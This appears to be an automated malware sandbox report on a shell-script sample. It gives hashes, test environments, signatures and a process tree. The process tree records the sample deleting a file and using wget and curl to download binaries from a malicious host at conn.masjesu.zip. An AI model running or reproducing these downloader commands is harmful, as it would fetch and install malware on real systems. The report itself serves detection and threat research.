Analysis
-
max time kernel
149s -
max time network
2s -
platform
debian-9_armhf -
resource
debian9-armhf-20240418-en -
resource tags
arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
21-11-2024 08:47
Static task
static1
Behavioral task
behavioral1
Sample
ea6218dddd55f83c7a5ebd320b1a0f5a31a7ca34ae8b5cb1f46ce333442e7c2d.sh
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral2
Sample
ea6218dddd55f83c7a5ebd320b1a0f5a31a7ca34ae8b5cb1f46ce333442e7c2d.sh
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral3
Sample
ea6218dddd55f83c7a5ebd320b1a0f5a31a7ca34ae8b5cb1f46ce333442e7c2d.sh
Resource
debian9-mipsbe-20240729-en
Behavioral task
behavioral4
Sample
ea6218dddd55f83c7a5ebd320b1a0f5a31a7ca34ae8b5cb1f46ce333442e7c2d.sh
Resource
debian9-mipsel-20240226-en
General
-
Target
ea6218dddd55f83c7a5ebd320b1a0f5a31a7ca34ae8b5cb1f46ce333442e7c2d.sh
-
Size
10KB
-
MD5
5043473f1d1be685c2c3cd5616d93b8b
-
SHA1
24aa735b4efb07ddf576d7af72a4cc3acbdf3d90
-
SHA256
ea6218dddd55f83c7a5ebd320b1a0f5a31a7ca34ae8b5cb1f46ce333442e7c2d
-
SHA512
b59ae01412c9c4828947586654be13f48fb5cda3a2ff42c57fe636520260f3f8f5975bdbe4b4883cfed3c1014cf2b4d73cf196deafe7accc98e9a341adb4f23b
-
SSDEEP
192:4hja2joogwd9ovzbVksHC+OZ2qZEEidvKa2joozCd9ovz1ksHC+W2qZEEx:A0TMiX
Malware Config
Signatures
-
Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl -
description ioc Process File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl
Processes
-
/tmp/ea6218dddd55f83c7a5ebd320b1a0f5a31a7ca34ae8b5cb1f46ce333442e7c2d.sh/tmp/ea6218dddd55f83c7a5ebd320b1a0f5a31a7ca34ae8b5cb1f46ce333442e7c2d.sh1⤵PID:637
-
/bin/rm/bin/rm bins.sh2⤵PID:640
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK02⤵PID:644
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK02⤵
- Checks CPU configuration
- Reads runtime system information
PID:650
-